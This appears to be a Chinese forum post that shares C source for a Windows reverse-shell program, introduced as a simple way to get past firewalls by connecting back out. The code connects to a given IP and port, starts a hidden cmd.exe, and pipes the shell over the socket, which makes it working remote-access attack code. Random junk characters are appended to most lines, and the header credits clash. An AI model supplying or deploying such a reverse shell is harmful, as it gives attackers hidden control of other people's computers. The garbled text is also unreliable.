这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g599Lc&
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/* ============================== s6lo11
Rebound port in Windows NT EQ-r
By wind,2006/7 fDNiU"
===============================*/ vtK Qv Q
#include `-"2(Gp
#include _)yn6M'Dt
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#pragma comment(lib,"wsock32.lib") p2GkI/6)uu
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void OutputShell(); (g`G(K_
SOCKET sClient; 0hnN>?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %]h5\%@w
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void main(int argc,char **argv) 2)Grl;T]s
{ (Gp/^[.%&
WSADATA stWsaData; TIbiw
int nRet; D/'kYoAEO
SOCKADDR_IN stSaiClient,stSaiServer; #;)Oi9{9;
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if(argc != 3) xqs{d&W
{ JQj?+PI
printf("Useage:\n\rRebound DestIP DestPort\n"); 4%LG Ph
return; |77.Lqqy,
} fr#Y<=Jo
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WSAStartup(MAKEWORD(2,2),&stWsaData); <kN4@bd;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [`BMi-WQ
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stSaiClient.sin_family = AF_INET; s3>,%8O6
stSaiClient.sin_port = htons(0); ]+<[D2f
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R?b3G4~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !1$QNxgi
{ /bv1R5
printf("Bind Socket Failed!\n"); vxhs1vh
return; 7xTgG!>v
} rU=qr&f"B
brx
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stSaiServer.sin_family = AF_INET; }><VcouJ[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Uoe;4ni
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jNhiY
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 47 xyS%X
{ umhg
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printf("Connect Error!"); "SJp9s3
return; [KR|m,QWp
} FNL[6.!PV
OutputShell(); dQT A^m
} {}kE=L5
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void OutputShell() 2#1"(m{
{ p2 V8{k
char szBuff[1024]; 2$?bLvk
SECURITY_ATTRIBUTES stSecurityAttributes; gBp,p\ Xc
OSVERSIONINFO stOsversionInfo; D[32t0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |ZZl3l=]
STARTUPINFO stStartupInfo; d7waBsf
char *szShell; ^aYlu0Wm
PROCESS_INFORMATION stProcessInformation; kH/u]+_
unsigned long lBytesRead; G_vWwH4XtL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :>4pH
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a9]F.Jm
stSecurityAttributes.lpSecurityDescriptor = 0; s.7\?(Lg
stSecurityAttributes.bInheritHandle = TRUE; r@b M3V_o
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B3|h$aKC
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P'%#B&LZo
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E-gI'qG\(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {w:*t)@j
stStartupInfo.wShowWindow = SW_HIDE; tljZE)
stStartupInfo.hStdInput = hReadPipe; <LL+\kfTZO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B_R
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p}H:t24Cr5
GetVersionEx(&stOsversionInfo); $WmB __
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switch(stOsversionInfo.dwPlatformId) t6u>_She
{ ;e
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case 1: x-27rGN
szShell = "command.com"; &O8vI,M
break; hWc`4xdl
default: aT|SKb`
szShell = "cmd.exe"; (=&z:-52V
break; dpG l
} 1<|\df.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sNB*S{
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send(sClient,szMsg,77,0); U}f"a!
while(1) DBTeV-G9~R
{ OM,Dy&Y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h0**[LDH
if(lBytesRead) [0c7fH`8V
{ wHx@&Tp
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JTGA\K
send(sClient,szBuff,lBytesRead,0); /B"FGa04p(
} wavyREK
else MpY/G%3
{ &[
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lBytesRead=recv(sClient,szBuff,1024,0); 1. A@5* Q
if(lBytesRead<=0) break; 6=N!()s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RJ}%pA4I
} pQ~Y7
} E>LZw>^YJ
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return; /Ne;Kdp
}